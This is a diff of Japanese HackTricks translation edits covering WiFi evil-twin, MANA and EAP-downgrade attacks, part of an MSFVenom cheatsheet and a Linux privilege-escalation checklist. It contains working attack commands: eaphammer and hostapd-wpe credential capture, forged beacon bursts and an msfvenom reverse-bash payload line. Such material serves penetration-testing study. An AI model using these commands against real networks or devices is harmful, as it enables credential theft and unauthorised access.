* このシナリオでは、すべてのユーザーが擬似的な「anonymous」をユーザー識別子として使用します。初期RADIUSサーバーは、EAP-PEAPまたはEAP-TTLSサーバーとして機能し、PEAPまたはTTLSプロトコルのサーバー側を管理します。内部保護された認証方法は、ローカルで処理されるか、リモートホームRADIUSサーバーに委任されます。
* EAP-アイデンティティ = anonymous@realm\_x
* この状況では、異なるレルムのユーザーがそれぞれのレルムを示しながらアイデンティティを隠します。これにより、初期RADIUSサーバーはEAP-PEAPまたはEAP-TTLSリクエストをそれぞれのホームレルムのRADIUSサーバーにプロキシし、PEAPまたはTTLSサーバーとして機能します。初期RADIUSサーバーは、RADIUSリレーードとしてのみ機能します。
* あるいは、初期RADIUSサーバーがEAP-PEAPまたはEAP-TTLSサーバーとして機能し、保護された認証方法を処理するか、別のサーバーに転送することもできます。このオプションは、さまざまなレルムに対して異なるポリシーを構成するのに役立ちます。
@ -461,7 +461,7 @@ EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライ
### パッシブスキャン
* APは定期的にビーコーフレームをブロードキャストし、その存在と機能を通知します。これにはAPのESSIDが含まれますが、ブロードキャストが無効になっている場合は除きます。
* APは定期的にビーコーフレームをブロードキャストし、その存在と機能を通知します。これには、ブロードキャストが無効になっていない限り、APのESSIDが含まれます。
* パッシブスキャン中、ステーションはビーコーフレームをリスニングします。ビーコンのESSIDがステーションのPNLのエントリと一致する場合、ステーションはそのAPに自動的に接続することがあります。
* デバイスのPNLの知識は、既知のネットワークのESSIDを模倣することで潜在的な悪用を可能にし、デバイスをロゲAPに接続させることができます。
@ -469,7 +469,7 @@ EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライ
* アクティブプロービングは、ステーションが近くのAPとその特性を発見するためにプローブリクエストを送信することを含みます。
* 指定されたプローブリクエストは特定のESSIDをターゲットにし、特定のネットワークが範囲内にあるかどうかを検出するのに役立ちます。たとえそれが隠れたネットワークであってもです。
* ブロードキャストプローブリクエストは空のSSIDフィールドを持ち、すべての近くのAPに送信され、ステーションはPNLの内容を開示することなく、任意の優先ネットワークをチェックできます。
* ブロードキャストプローブリクエストは、SSIDフィールドが空であり、すべての近くのAPに送信され、ステーションがPNLの内容を開示することなく、任意の優先ネットワークをチェックできるようにします。
## インターネットへのリダイレクトを伴うシンプルなAP
@ -481,7 +481,7 @@ EAP-TTLSは、やや異なる手順に従います。EAP-TTLSでは、クライ
```bash
apt-get install dnsmasq #Manages DHCP and DNS
```
`/etc/dnsmasq.conf`という設定ファイルを作成します:
`/etc/dnsmasq.conf`という設定ファイルを作成します
```ini
interface=wlan0
dhcp-authoritative
@ -524,7 +524,7 @@ wpa_group_rekey=86400
ieee80211n=1
wme_enabled=1
```
**煩わしいプロセスを停止**し、**モニターモードを設定**し、**hostapdを開始**します:
**煩わしいプロセスを停止**し、**モニターモードを設定**し、**hostapdを開始**します
```bash
airmon-ng check kill
iwconfig wlan0 mode monitor
@ -542,10 +542,10 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
イービルツイン攻撃は、WiFiクライアントがネットワークを認識する方法を利用し、主にネットワーク名ESSIDに依存し、ベースステーションアクセスポイントがクライアントに対して認証を行う必要がありません。主なポイントは以下の通りです
* **区別の難しさ**: デバイスは、同じESSIDと暗号化タイプを共有する正当なアクセスポイントと悪意のあるアクセスポイントを区別するのに苦労します。実際のネットワークでは、カバレッジをシームレスに拡張するために、同じESSIDを持つ複数のアクセスポイントを使用することがよくあります。
* **クライアントのローミングと接続操作**: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングすることを可能にします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを利用できます。これは、より強い信号を提供したり、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
* **クライアントのローミングと接続操作**: 802.11プロトコルは、デバイスが同じESS内のアクセスポイント間をローミングできるようにします。攻撃者は、デバイスを現在のベースステーションから切断させ、悪意のあるアクセスポイントに接続させることでこれを利用できます。これは、より強い信号を提供したり、非認証パケットやジャミングなどの方法で正当なアクセスポイントへの接続を妨害することで達成できます。
* **実行の課題**: 複数の適切に配置されたアクセスポイントがある環境でイービルツイン攻撃を成功させることは難しい場合があります。単一の正当なアクセスポイントを非認証にすると、攻撃者が近くのすべてのアクセスポイントを非認証にするか、悪意のあるアクセスポイントを戦略的に配置しない限り、デバイスは別の正当なアクセスポイントに接続することがよくあります。
非常に基本的なオープンイービルツイン(インターネットへのトラフィックをルーティングする機能はなし)を作成することができます:
非常に基本的なオープンイービルツイン(インターネットへのトラフィックをルーティングする機能はなし)を作成するには、次のようにします:
```bash
airbase-ng -a 00:09:5B:6F:64:1E --essid "Elroy" -c 1 wlan0mon
```
@ -557,13 +557,13 @@ Or using Airgeddon: `Options: 5,6,7,8,9 (inside Evil Twin attack menu).`
![](<../../.gitbook/assets/image (1088).png>)
デフォルトでは、PNLにESSIDがWPA保護として保存されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPにDoS攻撃を試み、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPにDoS攻撃を行い、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができますこの方法では、PSKがわからないため、被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます
デフォルトでは、PNLに保存されたESSIDがWPA保護されている場合、デバイスは自動的にオープンなEvil Twinに接続しません。実際のAPにDoS攻撃を試み、ユーザーが手動でオープンなEvil Twinに接続することを期待するか、実際のAPにDoS攻撃を行い、WPA Evil Twinを使用してハンドシェイクをキャプチャすることができますこの方法では、PSKがわからないため、被害者を接続させることはできませんが、ハンドシェイクをキャプチャしてクラックを試みることができます
_一部のOSやAVは、オープンネットワークに接続することが危険であるとユーザーに警告します..._
### WPA/WPA2 Evil Twin
**WPA/2を使用してEvil Twinを作成する**ことができ、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。いずれにせよ、**4-way-handshakeを完了するためには**、クライアントが使用する**パスワード**を**知っている必要があります**。**知らない場合**、**接続は完了しません**。
**WPA/2を使用してEvil Twinを作成する**ことができ、デバイスがそのSSIDにWPA/2で接続するように設定されている場合、接続を試みます。いずれにせよ、**4-way-handshakeを完了するためには**、クライアントが使用する**パスワード**を**知っている必要があります**。もし**知らない場合**、**接続は完了しません**。
```bash
./eaphammer -i wlan0 -e exampleCorp -c 11 --creds --auth wpa-psk --wpa-passphrase "mywifipassword"
```
@ -594,19 +594,19 @@ hostapd-wpe ./victim/victim.conf -s
```
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5
```
これは長い接続時間を避けるためのデフォルトの方法論です。ただし、認証方法を最も弱いものから最も強いもの指定することもできます:
これは長い接続時間を避けるためのデフォルトの方法論です。ただし、認証方法を最も弱いものから最も強いものまでサーバーに指定することもできます:
```
--negotiate weakest
```
Or you could also use:
* `--negotiate gtc-downgrade` を使用して、高効率のGTCダウングレード実装平文パスワードを利用する
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` を使用して、提供されるメソッドを手動で指定する(攻撃を行う組織と同じ順序で同じ認証メソッドを提供することで、検出がはるかに難しくなる)。
* `--negotiate manual --phase-1-methods PEAP,TTLS --phase-2-methods MSCHAPV2,GTC,TTLS-PAP` を使用して、提供されるメソッドを手動で指定する(攻撃を行う組織と同じ順序で同じ認証メソッドを提供することで、攻撃が発見されるのがはるかに難しくなる)。
* [Find more info in the wiki](http://solstice.sh/wireless/eaphammer/2019/09/10/eap-downgrade-attacks/)
**Using Airgeddon**
`Airgeddon` は、以前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレード、**ユーザーとパスワードのMD5をキャプチャ**できるようにします。その後、攻撃者はパスワードをクラックしようとすることができます。\
`Airgeddon` は、以前に生成された証明書を使用してWPA/WPA2-EnterpriseネットワークにEAP認証を提供できます。偽のネットワークは接続プロトコルをEAP-MD5にダウングレードするため、**ユーザーとパスワードのMD5をキャプチャ**することができます。その後、攻撃者はパスワードをクラックしようとすることができます。\
`Airgedon` は、**継続的なEvil Twin攻撃イジー**または**誰かが接続するまでEvil Attackを作成するだけスムーズ**の可能性を提供します。
![](<../../.gitbook/assets/image (936).png>)
@ -615,12 +615,12 @@ Or you could also use:
_この方法はPEAP接続でテストされましたが、任意のTLSトンネルを復号化しているため、EAP-TTLSでも機能するはずです_
**hostapd-wpe**の**設定**内で、_**dh\_file**_を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh`から`#dh_file=/etc/hostapd-wpe/certs/dh`へ)\
これにより、`hostapd-wpe`は**DHの代わりにRSAを使用して鍵を交換**するため、**サーバーの秘密鍵を知っていることで後でトラフィックを復号化**できるようになります。
**hostapd-wpe****configuration** 内で、_**dh\_file**_ を含む行を**コメントアウト**します(`dh_file=/etc/hostapd-wpe/certs/dh` から `#dh_file=/etc/hostapd-wpe/certs/dh` へ)\
これにより、`hostapd-wpe` は**DHの代わりにRSAを使用して鍵を交換**するため、**サーバーの秘密鍵を知っていれば後でトラフィックを復号化**できます。
次に、通常通りその修正された設定で**`hostapd-wpe`**を使用して**Evil Twin**を開始します。また、**Evil Twin攻撃を実行しているインターフェース**で**`wireshark`**を開始します。
すぐまたは後で(認証の試行をいくつかキャプチャした後)、`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...`でwiresharkにプライベートRSAキーを追加できます。
または後で(すでにいくつかの認証意図をキャプチャしたとき)、`Edit --> Preferences --> Protocols --> TLS --> (RSA keys list) Edit...` でwiresharkにプライベートRSAキーを追加できます。
新しいエントリを追加し、次の値でフォームを埋めます:**IPアドレス = any** -- **ポート = 0** -- **プロトコル = data** -- **キー ファイル****キー ファイルを選択**、問題を避けるために**パスワード保護されていないキー ファイルを選択**)。
@ -637,13 +637,13 @@ _この方法はPEAP接続でテストされましたが、任意のTLSトンネ
異なるタイプのメディアアクセス制御フィルターリストMFACLと、それに対応するモードおよび不正アクセスポイントAPの動作への影響
1. **MACベースのホワイトリスト**
* 不正APはホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストにない他のすべてのデバイスには見えなくなります。
* 不正APはホワイトリストに指定されたデバイスからのプローブリクエストにのみ応答し、リストにない他のすべてのデバイスには見えなくなります。
2. **MACベースのブラックリスト**
* 不正APはブラックリストにあるデバイスからのプローブリクエストを無視し、特定のデバイスに対して不正APを見えなくします。
* 不正APはブラックリストにあるデバイスからのプローブリクエストを無視し、特定のデバイスに対して不正APを見えなくします。
3. **SSIDベースのホワイトリスト**
* 不正APはリストにある特定のESSIDに対してのみプローブリクエストに応答し、Preferred Network ListsPNLにそのESSIDが含まれていないデバイスには見えなくなります。
* 不正APはリストにある特定のESSIDに対してのみプローブリクエストに応答し、Preferred Network ListsPNLにそのESSIDが含まれていないデバイスには見えなくなります。
4. **SSIDベースのブラックリスト**
* 不正APはブラックリストにある特定のESSIDに対するプローブリクエストには応答せず、特定のネットワークを探しているデバイスには見えなくなります。
* 不正APはブラックリストにある特定のESSIDに対するプローブリクエストには応答せず、特定のネットワークを探しているデバイスには見えなくなります。
```bash
# example EAPHammer MFACL file, wildcards can be used
09:6a:06:c8:36:af
@ -669,7 +669,7 @@ name3
### MANA
その後、**デバイスは無効なネットワーク応答を無視し始め、元のkarma攻撃の効果が減少しました**。しかし、**MANA攻撃**として知られる新しい方法がイアン・デ・ヴィリーズとドミニク・ホワイトによって導入されました。この方法は、不正なAPが**デバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名SSIDを使用して、Preferred Network ListsPNLをキャプチャする**ことを含みます。この高度な攻撃は、デバイスが既知のネットワークを記憶し優先順位を付ける方法を利用することで、元のkarma攻撃に対する保護を回避します。
その後、**デバイスは無効なネットワーク応答を無視し始め**、元のkarma攻撃の効果が減少しました。しかし、**MANA攻撃**として知られる新しい方法がイアン・デ・ヴィリーズとドミニク・ホワイトによって導入されました。この方法は、不正なAPが**デバイスのブロードキャストプローブリクエストに応答して、デバイスが以前に要求したネットワーク名SSIDを使用して、デバイスからの優先ネットワークリストPNLをキャプチャする**ことを含みます。この高度な攻撃は、デバイスが既知のネットワークを記憶し優先順位を付ける方法を利用することで、元のkarma攻撃に対する保護を回避します。
MANA攻撃は、デバイスからの指向およびブロードキャストプローブリクエストの両方を監視することによって機能します。指向リクエストの場合、デバイスのMACアドレスと要求されたネットワーク名を記録し、この情報をリストに追加します。ブロードキャストリクエストが受信されると、APはデバイスのリストにあるネットワークに一致する情報で応答し、デバイスを不正なAPに接続させるよう誘引します。
```bash
@ -689,9 +689,9 @@ Eaphammerは、この攻撃をMANA攻撃として実装し、リスト内のす
```bash
./eaphammer -i wlan0 --mana [--loud] --known-beacons --known-ssids-file wordlist.txt [--captive-portal] [--auth wpa-psk --creds]
```
**Known Beacon Burst attack**
**既知のビーコンサージ攻撃**
**Known Beacon Burst attack**は、**ファイルにリストされた各ESSIDのためにビーコフレームを迅速に放送すること**を含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、デバイスのネットワーク選択メカニズムを圧倒するために、速度とボリュームを活用します。
**既知のビーコンサージ攻撃**は、**ファイルにリストされた各ESSIDのためにビーコフレームを迅速に放送すること**を含みます。これにより、偽のネットワークの密集した環境が作成され、特にMANA攻撃と組み合わせることで、デバイスが悪意のあるAPに接続する可能性が大幅に高まります。この技術は、デバイスのネットワーク選択メカニズムを圧倒するために、速度とボリュームを活用します。
```bash
# transmit a burst of 5 forged beacon packets for each entry in list
./forge-beacons -i wlan1 \
@ -710,11 +710,11 @@ Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を
* **PIN入力**
* **近距離無線通信 (NFC)**
これらの方法、特にPIN入力は、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクターの標的となります。
これらの方法、特にPIN入力は、従来のWi-FiネットワークにおけるWPSと同様の脆弱性にさらされており、同様の攻撃ベクトルの標的となります。
### EvilDirect Hijacking
**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映していますが、Wi-Fi Direct接続をターゲットにしています。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`のようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。
**EvilDirect Hijacking**は、Wi-Fi Directに特有の攻撃です。これはEvil Twin攻撃の概念を反映していますが、Wi-Fi Direct接続をターゲットにしています。このシナリオでは、攻撃者が正当なグループオーナーを偽装し、デバイスを悪意のあるエンティティに接続させることを目的としています。この方法は、`airbase-ng`のようなツールを使用して、偽装されたデバイスのチャネル、ESSID、およびMACアドレスを指定することで実行できます。
## References
@ -731,32 +731,32 @@ Wi-Fi Direct接続のセキュリティは、**Wi-Fi Protected Setup (WPS)**を
TODO: [https://github.com/wifiphisher/wifiphisher](https://github.com/wifiphisher/wifiphisher)を確認してくださいFacebookでログインし、キャプティブポータルでWPAを模倣
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加してください!
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握してください
リアルタイムのニュースと洞察を通じて、急速に進化するハッキングの世界を把握しましょう
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を得ましょう
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、トップハッカーとコラボレーションを始めましょう!
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出して、ハッキングのトリックを共有してください。
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するために、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
</details>
{% endhint %}

View file

@ -1,44 +1,44 @@
# MSFVenom - CheatSheet
{% hint style="success" %}
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details>
<summary>HackTricksをサポートする</summary>
<summary>Support HackTricks</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>
{% endhint %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**Hacking Insights**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加してください
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについてい
**Real-Time Hack News**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていきましょう
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得る
**Latest Announcements**\
新しいバグバウンティの開始や重要なプラットフォームの更新について最新情報を入手してください
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
***
## 基本的なmsfvenom
## Basic msfvenom
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
`-a`を使用してアーキテクチャを指定するか、`--platform`を使用することもできます。
One can also use the `-a` to specify the architecture or the `--platform`
## リスト
## Listing
```bash
msfvenom -l payloads #Payloads
msfvenom -l encoders #Encoders
@ -217,20 +217,20 @@ msfvenom -p cmd/unix/reverse_bash LHOST=<Local IP Address> LPORT=<Local Port> -f
```
{% endcode %}
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取るために、[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加しましょう!
**ハッキングの洞察**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
**リアルタイムハックニュース**\
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界に遅れずについていく
リアルタイムのニュースと洞察を通じて、急速に変化するハッキングの世界を把握しましょう
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**私たちに参加してください** [**Discord**](https://discord.com/invite/N3FrSbmwdy)で、今日からトップハッカーとコラボレーションを始めましょう!
今日、[**Discord**](https://discord.com/invite/N3FrSbmwdy)で私たちに参加し、トップハッカーとコラボレーションを始めましょう!
{% hint style="success" %}
AWSハッキングを学び、実践する<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
@ -241,8 +241,8 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
<summary>HackTricksをサポートする</summary>
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。**
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。**
* [**HackTricks**](https://github.com/carlospolop/hacktricks)[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングのトリックを共有してください。
</details>
{% endhint %}

View file

@ -15,18 +15,18 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
</details>
{% endhint %}
<figure><img src="../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
<figure><img src="/.gitbook/assets/image.png" alt=""><figcaption></figcaption></figure>
[**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy)サーバーに参加して、経験豊富なハッカーやバグバウンティハンターとコミュニケーションを取りましょう!
**ハッキングインサイト**\
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加しましょう
ハッキングのスリルと課題に深く掘り下げたコンテンツに参加する
**リアルタイムハックニュース**\
リアルタイムのニュースとインサイトを通じて、急速に進化するハッキングの世界を把握しましょう
リアルタイムのニュースとインサイトを通じて、急速に変化するハッキングの世界を最新の状態に保つ
**最新のお知らせ**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得ましょう
**最新の発表**\
新しいバグバウンティの開始や重要なプラットフォームの更新について情報を得
**[**Discord**](https://discord.com/invite/N3FrSbmwdy)に参加して、今日からトップハッカーとコラボレーションを始めましょう!**
@ -61,14 +61,14 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [ ] **実行中のプロセスのエクスプロイトを検索**(特に実行中のバージョン)。
* [ ] **実行中のプロセスのバイナリを変更できますか?**
* [ ] **プロセスを監視**し、興味深いプロセスが頻繁に実行されているか確認します。
* [ ] **興味深いプロセスメモリを**(パスワードが保存されている可能性がある場所)**読み取ることができますか?**
* [ ] **興味深いプロセスメモリを**(パスワードが保存される可能性がある場所)**読み取ることができますか?**
### [スケジュールされた/cronジョブ](privilege-escalation/#scheduled-jobs)
* [ ] [**PATH**](privilege-escalation/#cron-path)がcronによって変更されており、**書き込み**が可能ですか?
* [ ] cronジョブに**ワイルドカード**はありますか?[**スクリプトを使用したワイルドカードの注入**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)
* [ ] cronジョブに**ワイルドカード**はありますか?[**スクリプトを使用したワイルドカードインジェクション**](privilege-escalation/#cron-using-a-script-with-a-wildcard-wildcard-injection)
* [ ] **変更可能なスクリプト**が**実行されている**か、**変更可能なフォルダー**内にありますか?
* [ ] **スクリプトが非常に頻繁に実行されている**ことを検出しましたか毎分1回、2回、または5回
* [ ] **スクリプト**が[**非常に頻繁に実行されている**](privilege-escalation/#frequent-cron-jobs)ことを検出しましたか1、2、または5分ごと
### [サービス](privilege-escalation/#services)
@ -101,9 +101,9 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
* [ ] 一般的なユーザー/グループの**列挙**
* [ ] **非常に大きなUID**を持っていますか?**マシンは脆弱ですか?**
* **所属するグループのおかげで**[**特権を昇格できますか?**](privilege-escalation/interesting-groups-linux-pe/)
* [ ] **クリップボード**データはありますか
* [ ] **クリップボード**データは?
* [ ] パスワードポリシーは?
* **以前に発見したすべての**[**既知のパスワードを使用して、各**ユーザー**でログインを試みてください。パスワードなしでのログインも試みてください。**
* **以前に発見したすべての**[**既知のパスワードを使用して、各**ユーザーでログインを試みてください。**パスワードなしでのログインも試みてください。**
### [書き込み可能なPATH](privilege-escalation/#writable-path-abuses)
@ -111,14 +111,14 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
### [SUDOおよびSUIDコマンド](privilege-escalation/#sudo-and-suid)
* [ ] **sudoで任意のコマンドを実行できますか** rootとして何かを読み取り、書き込み、または実行できますか? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] **sudoで任意のコマンドを実行できますか** rootとして何かをREAD、WRITE、またはEXECUTEできますか? ([**GTFOBins**](https://gtfobins.github.io))
* [ ] **エクスプロイト可能なSUIDバイナリはありますか** ([**GTFOBins**](https://gtfobins.github.io))
* [ ] [**sudoコマンドは**パスによって**制限されていますか?** 制限を**回避**できますか?](privilege-escalation/#sudo-execution-bypassing-paths)
* [ ] [**sudoコマンドは**パスによって**制限されていますか?** 制限を**バイパス**できますか?](privilege-escalation/#sudo-execution-bypassing-paths)
* [ ] [**パスが指定されていないSudo/SUIDバイナリ**](privilege-escalation/#sudo-command-suid-binary-without-command-path)はありますか?
* [ ] [**パスを指定したSUIDバイナリ**](privilege-escalation/#suid-binary-with-command-path) バイパス
* [ ] [**LD\_PRELOAD脆弱性**](privilege-escalation/#ld\_preload)
* [ ] **書き込み可能なフォルダーからのSUIDバイナリにおける.soライブラリの欠如**はありますか?
* [ ] [**利用可能なSUDOトークン**](privilege-escalation/#reusing-sudo-tokens) [**SUDOトークンを作成できますか**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)
* [ ] [**SUDOトークンが利用可能**](privilege-escalation/#reusing-sudo-tokens)ですか [**SUDOトークンを作成できますか**](privilege-escalation/#var-run-sudo-ts-less-than-username-greater-than)
* [ ] [**sudoersファイルを読み取ったり変更したりできますか**](privilege-escalation/#etc-sudoers-etc-sudoers-d)
* [ ] [**/etc/ld.so.conf.d/**を**変更できますか?**](privilege-escalation/#etc-ld-so-conf-d)
* [ ] [**OpenBSD DOAS**](privilege-escalation/#doas)コマンド
@ -145,9 +145,9 @@ GCPハッキングを学び、実践する<img src="/.gitbook/assets/grte.png
